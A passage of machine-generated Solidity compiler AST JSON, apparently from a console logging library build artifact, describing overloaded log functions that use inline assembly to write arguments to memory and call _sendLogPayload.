:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"177922:5:22","nodeType":"YulIdentifier","src":"177922:5:22"},"nativeSrc":"177922:11:22","nodeType":"YulFunctionCall","src":"177922:11:22"},"variableNames":[{"name":"m3","nativeSrc":"177916:2:22","nodeType":"YulIdentifier","src":"177916:2:22"}]},{"nativeSrc":"177946:17:22","nodeType":"YulAssignment","src":"177946:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177958:4:22","nodeType":"YulLiteral","src":"177958:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"177952:5:22","nodeType":"YulIdentifier","src":"177952:5:22"},"nativeSrc":"177952:11:22","nodeType":"YulFunctionCall","src":"177952:11:22"},"variableNames":[{"name":"m4","nativeSrc":"177946:2:22","nodeType":"YulIdentifier","src":"177946:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178038:4:22","nodeType":"YulLiteral","src":"178038:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"178044:10:22","nodeType":"YulLiteral","src":"178044:10:22","type":"","value":"0x3b2a5ce0"}],"functionName":{"name":"mstore","nativeSrc":"178031:6:22","nodeType":"YulIdentifier","src":"178031:6:22"},"nativeSrc":"178031:24:22","nodeType":"YulFunctionCall","src":"178031:24:22"},"nativeSrc":"178031:24:22","nodeType":"YulExpressionStatement","src":"178031:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178075:4:22","nodeType":"YulLiteral","src":"178075:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"178081:2:22","nodeType":"YulIdentifier","src":"178081:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178068:6:22","nodeType":"YulIdentifier","src":"178068:6:22"},"nativeSrc":"178068:16:22","nodeType":"YulFunctionCall","src":"178068:16:22"},"nativeSrc":"178068:16:22","nodeType":"YulExpressionStatement","src":"178068:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178104:4:22","nodeType":"YulLiteral","src":"178104:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"178110:2:22","nodeType":"YulIdentifier","src":"178110:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178097:6:22","nodeType":"YulIdentifier","src":"178097:6:22"},"nativeSrc":"178097:16:22","nodeType":"YulFunctionCall","src":"178097:16:22"},"nativeSrc":"178097:16:22","nodeType":"YulExpressionStatement","src":"178097:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178133:4:22","nodeType":"YulLiteral","src":"178133:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"178139:2:22","nodeType":"YulIdentifier","src":"178139:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178126:6:22","nodeType":"YulIdentifier","src":"178126:6:22"},"nativeSrc":"178126:16:22","nodeType":"YulFunctionCall","src":"178126:16:22"},"nativeSrc":"178126:16:22","nodeType":"YulExpressionStatement","src":"178126:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178162:4:22","nodeType":"YulLiteral","src":"178162:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"178168:2:22","nodeType":"YulIdentifier","src":"178168:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178155:6:22","nodeType":"YulIdentifier","src":"178155:6:22"},"nativeSrc":"178155:16:22","nodeType":"YulFunctionCall","src":"178155:16:22"},"nativeSrc":"178155:16:22","nodeType":"YulExpressionStatement","src":"178155:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39590,"isOffset":false,"isSlot":false,"src":"177826:2:22","valueSize":1},{"declaration":39593,"isOffset":false,"isSlot":false,"src":"177856:2:22","valueSize":1},{"declaration":39596,"isOffset":false,"isSlot":false,"src":"177886:2:22","valueSize":1},{"declaration":39599,"isOffset":false,"isSlot":false,"src":"177916:2:22","valueSize":1},{"declaration":39602,"isOffset":false,"isSlot":false,"src":"177946:2:22","valueSize":1},{"declaration":39580,"isOffset":false,"isSlot":false,"src":"178081:2:22","valueSize":1},{"declaration":39582,"isOffset":false,"isSlot":false,"src":"178110:2:22","valueSize":1},{"declaration":39584,"isOffset":false,"isSlot":false,"src":"178139:2:22","valueSize":1},{"declaration":39586,"isOffset":false,"isSlot":false,"src":"178168:2:22","valueSize":1}],"id":39604,"nodeType":"InlineAssembly","src":"177803:378:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39606,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"178206:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"178212:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39605,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"178190:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"178190:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39609,"nodeType":"ExpressionStatement","src":"178190:27:22"},{"AST":{"nativeSrc":"178236:156:22","nodeType":"YulBlock","src":"178236:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"178257:4:22","nodeType":"YulLiteral","src":"178257:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"178263:2:22","nodeType":"YulIdentifier","src":"178263:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178250:6:22","nodeType":"YulIdentifier","src":"178250:6:22"},"nativeSrc":"178250:16:22","nodeType":"YulFunctionCall","src":"178250:16:22"},"nativeSrc":"178250:16:22","nodeType":"YulExpressionStatement","src":"178250:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178286:4:22","nodeType":"YulLiteral","src":"178286:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"178292:2:22","nodeType":"YulIdentifier","src":"178292:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178279:6:22","nodeType":"YulIdentifier","src":"178279:6:22"},"nativeSrc":"178279:16:22","nodeType":"YulFunctionCall","src":"178279:16:22"},"nativeSrc":"178279:16:22","nodeType":"YulExpressionStatement","src":"178279:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178315:4:22","nodeType":"YulLiteral","src":"178315:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"178321:2:22","nodeType":"YulIdentifier","src":"178321:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178308:6:22","nodeType":"YulIdentifier","src":"178308:6:22"},"nativeSrc":"178308:16:22","nodeType":"YulFunctionCall","src":"178308:16:22"},"nativeSrc":"178308:16:22","nodeType":"YulExpressionStatement","src":"178308:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178344:4:22","nodeType":"YulLiteral","src":"178344:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"178350:2:22","nodeType":"YulIdentifier","src":"178350:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178337:6:22","nodeType":"YulIdentifier","src":"178337:6:22"},"nativeSrc":"178337:16:22","nodeType":"YulFunctionCall","src":"178337:16:22"},"nativeSrc":"178337:16:22","nodeType":"YulExpressionStatement","src":"178337:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178373:4:22","nodeType":"YulLiteral","src":"178373:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"178379:2:22","nodeType":"YulIdentifier","src":"178379:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178366:6:22","nodeType":"YulIdentifier","src":"178366:6:22"},"nativeSrc":"178366:16:22","nodeType":"YulFunctionCall","src":"178366:16:22"},"nativeSrc":"178366:16:22","nodeType":"YulExpressionStatement","src":"178366:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39590,"isOffset":false,"isSlot":false,"src":"178263:2:22","valueSize":1},{"declaration":39593,"isOffset":false,"isSlot":false,"src":"178292:2:22","valueSize":1},{"declaration":39596,"isOffset":false,"isSlot":false,"src":"178321:2:22","valueSize":1},{"declaration":39599,"isOffset":false,"isSlot":false,"src":"178350:2:22","valueSize":1},{"declaration":39602,"isOffset":false,"isSlot":false,"src":"178379:2:22","valueSize":1}],"id":39610,"nodeType":"InlineAssembly","src":"178227:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"177639:3:22","parameters":{"id":39587,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39580,"mutability":"mutable","name":"p0","nameLocation":"177648:2:22","nodeType":"VariableDeclaration","scope":39612,"src":"177643:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39579,"name":"bool","nodeType":"ElementaryTypeName","src":"177643:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39582,"mutability":"mutable","name":"p1","nameLocation":"177657:2:22","nodeType":"VariableDeclaration","scope":39612,"src":"177652:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39581,"name":"bool","nodeType":"ElementaryTypeName","src":"177652:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39584,"mutability":"mutable","name":"p2","nameLocation":"177666:2:22","nodeType":"VariableDeclaration","scope":39612,"src":"177661:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39583,"name":"bool","nodeType":"ElementaryTypeName","src":"177661:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39586,"mutability":"mutable","name":"p3","nameLocation":"177675:2:22","nodeType":"VariableDeclaration","scope":39612,"src":"177670:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39585,"name":"bool","nodeType":"ElementaryTypeName","src":"177670:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"177642:36:22"},"returnParameters":{"id":39588,"nodeType":"ParameterList","parameters":[],"src":"177693:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39646,"nodeType":"FunctionDefinition","src":"178404:774:22","nodes":[],"body":{"id":39645,"nodeType":"Block","src":"178470:708:22","nodes":[],"statements":[{"assignments":[39624],"declarations":[{"constant":false,"id":39624,"mutability":"mutable","name":"m0","nameLocation":"178488:2:22","nodeType":"VariableDeclaration","scope":39645,"src":"178480:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39623,"name":"bytes32","nodeType":"ElementaryTypeName","src":"178480:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39625,"nodeType":"VariableDeclarationStatement","src":"178480:10:22"},{"assignments":[39627],"declarations":[{"constant":false,"id":39627,"mutability":"mutable","name":"m1","nameLocation":"178508:2:22","nodeType":"VariableDeclaration","scope":39645,"src":"178500:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39626,"name":"bytes32","nodeType":"ElementaryTypeName","src":"178500:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39628,"nodeType":"VariableDeclarationStatement","src":"178500:10:22"},{"assignments":[39630],"declarations":[{"constant":false,"id":39630,"mutability":"mutable","name":"m2","nameLocation":"178528:2:22","nodeType":"VariableDeclaration","scope":39645,"src":"178520:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39629,"name":"bytes32","nodeType":"ElementaryTypeName","src":"178520:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39631,"nodeType":"VariableDeclarationStatement","src":"178520:10:22"},{"assignments":[39633],"declarations":[{"constant":false,"id":39633,"mutability":"mutable","name":"m3","nameLocation":"178548:2:22","nodeType":"VariableDeclaration","scope":39645,"src":"178540:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39632,"name":"bytes32","nodeType":"ElementaryTypeName","src":"178540:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39634,"nodeType":"VariableDeclarationStatement","src":"178540:10:22"},{"assignments":[39636],"declarations":[{"constant":false,"id":39636,"mutability":"mutable","name":"m4","nameLocation":"178568:2:22","nodeType":"VariableDeclaration","scope":39645,"src":"178560:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39635,"name":"bytes32","nodeType":"ElementaryTypeName","src":"178560:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39637,"nodeType":"VariableDeclarationStatement","src":"178560:10:22"},{"AST":{"nativeSrc":"178589:372:22","nodeType":"YulBlock","src":"178589:372:22","statements":[{"nativeSrc":"178603:17:22","nodeType":"YulAssignment","src":"178603:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"178615:4:22","nodeType":"YulLiteral","src":"178615:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"178609:5:22","nodeType":"YulIdentifier","src":"178609:5:22"},"nativeSrc":"178609:11:22","nodeType":"YulFunctionCall","src":"178609:11:22"},"variableNames":[{"name":"m0","nativeSrc":"178603:2:22","nodeType":"YulIdentifier","src":"178603:2:22"}]},{"nativeSrc":"178633:17:22","nodeType":"YulAssignment","src":"178633:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"178645:4:22","nodeType":"YulLiteral","src":"178645:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"178639:5:22","nodeType":"YulIdentifier","src":"178639:5:22"},"nativeSrc":"178639:11:22","nodeType":"YulFunctionCall","src":"178639:11:22"},"variableNames":[{"name":"m1","nativeSrc":"178633:2:22","nodeType":"YulIdentifier","src":"178633:2:22"}]},{"nativeSrc":"178663:17:22","nodeType":"YulAssignment","src":"178663:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"178675:4:22","nodeType":"YulLiteral","src":"178675:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"178669:5:22","nodeType":"YulIdentifier","src":"178669:5:22"},"nativeSrc":"178669:11:22","nodeType":"YulFunctionCall","src":"178669:11:22"},"variableNames":[{"name":"m2","nativeSrc":"178663:2:22","nodeType":"YulIdentifier","src":"178663:2:22"}]},{"nativeSrc":"178693:17:22","nodeType":"YulAssignment","src":"178693:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"178705:4:22","nodeType":"YulLiteral","src":"178705:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"178699:5:22","nodeType":"YulIdentifier","src":"178699:5:22"},"nativeSrc":"178699:11:22","nodeType":"YulFunctionCall","src":"178699:11:22"},"variableNames":[{"name":"m3","nativeSrc":"178693:2:22","nodeType":"YulIdentifier","src":"178693:2:22"}]},{"nativeSrc":"178723:17:22","nodeType":"YulAssignment","src":"178723:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"178735:4:22","nodeType":"YulLiteral","src":"178735:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"178729:5:22","nodeType":"YulIdentifier","src":"178729:5:22"},"nativeSrc":"178729:11:22","nodeType":"YulFunctionCall","src":"178729:11:22"},"variableNames":[{"name":"m4","nativeSrc":"178723:2:22","nodeType":"YulIdentifier","src":"178723:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178818:4:22","nodeType":"YulLiteral","src":"178818:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"178824:10:22","nodeType":"YulLiteral","src":"178824:10:22","type":"","value":"0x6d7045c1"}],"functionName":{"name":"mstore","nativeSrc":"178811:6:22","nodeType":"YulIdentifier","src":"178811:6:22"},"nativeSrc":"178811:24:22","nodeType":"YulFunctionCall","src":"178811:24:22"},"nativeSrc":"178811:24:22","nodeType":"YulExpressionStatement","src":"178811:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178855:4:22","nodeType":"YulLiteral","src":"178855:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"178861:2:22","nodeType":"YulIdentifier","src":"178861:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178848:6:22","nodeType":"YulIdentifier","src":"178848:6:22"},"nativeSrc":"178848:16:22","nodeType":"YulFunctionCall","src":"178848:16:22"},"nativeSrc":"178848:16:22","nodeType":"YulExpressionStatement","src":"178848:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178884:4:22","nodeType":"YulLiteral","src":"178884:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"178890:2:22","nodeType":"YulIdentifier","src":"178890:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178877:6:22","nodeType":"YulIdentifier","src":"178877:6:22"},"nativeSrc":"178877:16:22","nodeType":"YulFunctionCall","src":"178877:16:22"},"nativeSrc":"178877:16:22","nodeType":"YulExpressionStatement","src":"178877:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178913:4:22","nodeType":"YulLiteral","src":"178913:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"178919:2:22","nodeType":"YulIdentifier","src":"178919:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178906:6:22","nodeType":"YulIdentifier","src":"178906:6:22"},"nativeSrc":"178906:16:22","nodeType":"YulFunctionCall","src":"178906:16:22"},"nativeSrc":"178906:16:22","nodeType":"YulExpressionStatement","src":"178906:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"178942:4:22","nodeType":"YulLiteral","src":"178942:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"178948:2:22","nodeType":"YulIdentifier","src":"178948:2:22"}],"functionName":{"name":"mstore","nativeSrc":"178935:6:22","nodeType":"YulIdentifier","src":"178935:6:22"},"nativeSrc":"178935:16:22","nodeType":"YulFunctionCall","src":"178935:16:22"},"nativeSrc":"178935:16:22","nodeType":"YulExpressionStatement","src":"178935:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39624,"isOffset":false,"isSlot":false,"src":"178603:2:22","valueSize":1},{"declaration":39627,"isOffset":false,"isSlot":false,"src":"178633:2:22","valueSize":1},{"declaration":39630,"isOffset":false,"isSlot":false,"src":"178663:2:22","valueSize":1},{"declaration":39633,"isOffset":false,"isSlot":false,"src":"178693:2:22","valueSize":1},{"declaration":39636,"isOffset":false,"isSlot":false,"src":"178723:2:22","valueSize":1},{"declaration":39614,"isOffset":false,"isSlot":false,"src":"178861:2:22","valueSize":1},{"declaration":39616,"isOffset":false,"isSlot":false,"src":"178890:2:22","valueSize":1},{"declaration":39618,"isOffset":false,"isSlot":false,"src":"178919:2:22","valueSize":1},{"declaration":39620,"isOffset":false,"isSlot":false,"src":"178948:2:22","valueSize":1}],"id":39638,"nodeType":"InlineAssembly","src":"178580:381:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39640,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"178986:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39641,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"178992:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39639,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"178970:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39642,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"178970:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39643,"nodeType":"ExpressionStatement","src":"178970:27:22"},{"AST":{"nativeSrc":"179016:156:22","nodeType":"YulBlock","src":"179016:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"179037:4:22","nodeType":"YulLiteral","src":"179037:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"179043:2:22","nodeType":"YulIdentifier","src":"179043:2:22"}],"functionName":{"name":"mstore","nativeSrc":"179030:6:22","nodeType":"YulIdentifier","src":"179030:6:22"},"nativeSrc":"179030:16:22","nodeType":"YulFunctionCall","src":"179030:16:22"},"nativeSrc":"179030:16:22","nodeType":"YulExpressionStatement","src":"179030:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"179066:4:22","nodeType":"YulLiteral","src":"179066:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"179072:2:22","nodeType":"YulIdentifier","src":"179072:2:22"}],"functionName":{"name":"mstore","nativeSrc":"179059:6:22","nodeType":"YulIdentifier","src":"179059:6:22"},"nativeSrc":"179059:16:22","nodeType":"YulFunctionCall","src":"179059:16:22"},"nativeSrc":"179059:16:22","nodeType":"YulExpressionStatement","src":"179059:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"179095:4:22","nodeType":"YulLiteral","src":"179095:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"179101:2:22","nodeType":"YulIdentifier","src":"179101:2:22"}],"functionName":{"name":"mstore","nativeSrc":"179088:6:22","nodeType":"YulIdentifier","src":"179088:6:22"},"nativeSrc":"179088:16:22","nodeType":"YulFunctionCall","src":"179088:16:22"},"nativeSrc":"179088:16:22","nodeType":"YulExpressionStatement","src":"179088:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"179124:4:22","nodeType":"YulLiteral","src":"179124:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"179130:2:22","nodeType":"YulIdentifier","src":"179130:2:22"}],"functionName":{"name":"mstore","nativeSrc":"179117:6:22","nodeType":"YulIdentifier","src":"179117:6:22"},"nativeSrc":"179117:16:22","nodeType":"YulFunctionCall","src":"179117:16:22"},"nativeSrc":"179117:16:22","nodeType":"YulExpressionStatement","src":"179117:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"179153:4:22","nodeType":"YulLiteral","src":"179153:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"179159:2:22","nodeType":"YulIdentifier","src":"179159:2:22"}],"functionName":{"name":"mstore","nativeSrc":"179146:6:22","nodeType":"YulIdentifier","src":"179146:6:22"},"nativeSrc":"179146:16:22","nodeType":"YulFunctionCall","src":"179146:16:22"},"nativeSrc":"179146:16:22","nodeType":"YulExpressionStatement","src":"179146:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39624,"isOffset":false,"isSlot":false,"src":"179043:2:22","valueSize":1},{"declaration":39627,"isOffset":false,"isSlot":false,"src":"179072:2:22","valueSize":1},{"declaration":39630,"isOffset":false,"isSlot":false,"src":"179101:2:22","valueSize":1},{"declaration":39633,"isOffset":false,"isSlot":false,"src":"179130:2:22","valueSize":1},{"declaration":39636,"isOffset":false,"isSlot":false,"src":"179159:2:22","valueSize":1}],"id":39644,"nodeType":"InlineAssembly","src":"179007:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"178413:3:22","parameters":{"id":39621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39614,"mutability":"mutable","name":"p0","nameLocation":"178422:2:22","nodeType":"VariableDeclaration","scope":39646,"src":"178417:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39613,"name":"bool","nodeType":"ElementaryTypeName","src":"178417:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39616,"mutability":"mutable","name":"p1","nameLocation":"178431:2:22","nodeType":"VariableDeclaration","scope":39646,"src":"178426:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39615,"name":"bool","nodeType":"ElementaryTypeName","src":"178426:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39618,"mutability":"mutable","name":"p2","nameLocation":"178440:2:22","nodeType":"VariableDeclaration","scope":39646,"src":"178435:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39617,"name":"bool","nodeType":"ElementaryTypeName","src":"178435:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39620,"mutability":"mutable","name":"p3","nameLocation":"178452:2:22","nodeType":"VariableDeclaration","scope":39646,"src":"178444:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39619,"name":"uint256","nodeType":"ElementaryTypeName","src":"178444:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"178416:39:22"},"returnParameters":{"id":39622,"nodeType":"ParameterList","parameters":[],"src":"178470:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39686,"nodeType":"FunctionDefinition","src":"179184:1322:22","nodes":[],"body":{"id":39685,"nodeType":"Block","src":"179250:1256:22","nodes":[],"statements":[{"assignments":[39658],"declarations":[{"constant":false,"id":39658,"mutability":"mutable","name":"m0","nameLocation":"179268:2:22","nodeType":"VariableDeclaration","scope":39685,"src":"179260:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39657,"name":"bytes32","nodeType":"ElementaryTypeName","src":"179260:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39659,"nodeType":"VariableDeclarationStatement","src":"179260:10:22"},{"assignments":[39661],"declarations":[{"constant":false,"id":39661,"mutability":"mutable","name":"m1","nameLocation":"179288:2:22","nodeType":"VariableDeclaration","scope":39685,"src":"179280:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39660,"name":"bytes32","nodeType":"ElementaryTypeName","src":"179280:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39662,"nodeType":"VariableDeclarationStatement","src":"179280:10:22"},{"assignments":[39664],"declarations":[{"constant":false,"id":39664,"mutability":"mutable","name":"m2","nameLocation":"179308:2:22","nodeType":"VariableDeclaration","scope":39685,"src":"179300:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39663,"name":"bytes32","nodeType":"ElementaryTypeName","src":"179300:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39665,"nodeType":"VariableDeclarationStatement","src":"179300:10:22"},{"assignments":[39667],"declarations":[{"constant":false,"id":39667,"mutability":"mutable","name":"m3","nameLocation":"179328:2:22","nodeType":"VariableDeclaration","scope":39685,"src":"179320:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39666,"name":"bytes32","nodeType":"ElementaryTypeName","src":"179320:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39668,"nodeType":"VariableDeclarationStatement","src":"179320:10:22"},{"assignments":[39670],"declarations":[{"constant":false,"id":39670,"mutability":"mutable","name":"m4","nameLocation":"179348:2:22","nodeType":"VariableDeclaration","scope":39685,"src":"179340:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39669,"name":"bytes32","nodeType":"ElementaryTypeName","src":"179340:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39671,"nodeType":"VariableDeclarationStatement","src":"179340:10:22"},{"assignments":[39673],"declarations":[{"constant":false,"id":39673,"mutability":"mutable","name":"m5","nameLocation":"179368:2:22","nodeType":"VariableDeclaration","scope":39685,"src":"179360:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39672,"name":"bytes32","nodeType":"ElementaryTypeName","src":"179360:7:22","typeDescriptions":